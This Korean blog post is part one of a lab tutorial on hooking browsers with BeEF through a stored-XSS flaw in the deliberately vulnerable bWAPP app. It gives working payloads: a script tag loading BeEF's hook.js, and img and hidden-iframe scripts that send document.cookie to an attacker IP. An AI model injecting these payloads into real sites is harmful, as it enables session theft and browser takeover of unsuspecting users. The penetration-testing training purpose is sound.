BeEF 활용 악성코드 공격(1)

2025. 2. 18. 18:07·Security/Application

1. 가상 머신 설정

실습을 위해 윈도우와 칼리 리눅스 가상 머신을 설정한다.

  • 윈도우 설정
    • 메모리: 2GB
    • 프로세서: 2개
    • 네트워크: NAT 설정
    • 절전 모드: 사용 안 함
    • 윈도우 업데이트: 사용 안 함


2. 칼리 리눅스 환경 설정

BeEF 설치 및 실행을 위해 칼리 리눅스에서 아래 명령어를 실행한다.

sudo apt update 

sudo apt install beef-xss 

sudo beef-xss
  • BeEF 첫 실행 시 비밀번호 설정 (예: 1234)
  • 브라우저에서 http://127.0.0.1:3000/ui/panel로 접속하여 BeEF 패널에 들어간다.
  • BeEF 훅 URL: http://192.168.183.129:3000/hook.js


3. bWAPP 게시판 악성코드 삽입

<script src="http://192.168.183.129:3000/hook.js"></script>

bWAPP의 XSS-Stored(Blog)에 위와 같이 스크립트를 작성하여 악성코드를 삽입한다.


*추가로 클라이언트의 쿠키 정보를 외부로 전송하거나, iframe을 사용한 악성 코드 삽입을 아래와 같은 스크립트로 진행할 수 있다.

<script> document.write("<img src='http://192.168.20.131/cookie.php?cookie="+document.cookie+"'>") </script>

<script> document.write("<iframe src='http://192.168.20.131/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>") </script>

4. BeEF 패널에서 클라이언트 메시지 보내기

BeEF 패널로 접속하면(http://127.0.0.1:3000/ui/panel) 왼쪽 온라인 브라우저 목록에 현재 접속한 브라우저의 정보가 나타나게 된다. 

 

BeEF 패널에서 다양한 기능을 실행할 수 있다. 지금은 Alert 메시지를 보내볼 것이다.

BeEF 패널에서 Commands>Create Alert Dialog 선택 후 원하는 메시지를 입력하고 실행시키면

클라이언트 브라우저에 위와 같이 메시지가 출력된다.

'Security > Application' 카테고리의 다른 글

[SQL Injection] Prepared Statement 적용이 불가한 구문일 때  (3) 2025.08.12
[모의해킹] 웹 애플리케이션 정보 수집 방법  (0) 2025.03.06
Metasploitable2 - FTP 취약점 공격 (vsftpd 2.3.4, CVE-2011-2523)  (0) 2025.02.25
BeEF 활용 악성코드 공격(2)  (0) 2025.02.18
'Security/Application' 카테고리의 다른 글
  • [SQL Injection] Prepared Statement 적용이 불가한 구문일 때
  • [모의해킹] 웹 애플리케이션 정보 수집 방법
  • Metasploitable2 - FTP 취약점 공격 (vsftpd 2.3.4, CVE-2011-2523)
  • BeEF 활용 악성코드 공격(2)
min8282
min8282
  • min8282
    min8282
    min8282
  • 전체
    오늘
    어제
    • 분류 전체보기 (110)
      • Security (33)
        • System & Network (2)
        • Application (5)
        • Cloud (20)
      • Dev (18)
        • Node.js (12)
        • Hadoop (3)
        • BOJ (2)
      • Web3 & Blockchain (2)
        • Web3 (2)
      • K-Shield.Jr (15)
      • Web Security Academy (3)
      • Wargame (13)
        • Dreamhack (3)
        • Bandit (10)
      • NS (16)
        • CTF (6)
  • 블로그 메뉴

    • 홈
  • 링크

    • github
  • 공지사항

  • 인기 글

  • 태그

    정처기필기
    정처기 필기
    systems manager
    탈중앙화
    ELB
    File Upload
    메타코드M
    스마트 컨트랙트
    AWS CLI
    web3 보안
    metacodem
    Path Traversal
    aws lambda
    Session Manager
    보안 그룹
    정보처리기사
    amazon s3 트리거
    티스토리챌린지
    web3
    metacode
    splunk db connect
    메타코드
    AWS SSM
    aws 트리거
    오블완
    prepared statement
    스마트컨트랙트
    web security academy
    ESC1
    정처기
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.4
min8282
BeEF 활용 악성코드 공격(1)
상단으로

티스토리툴바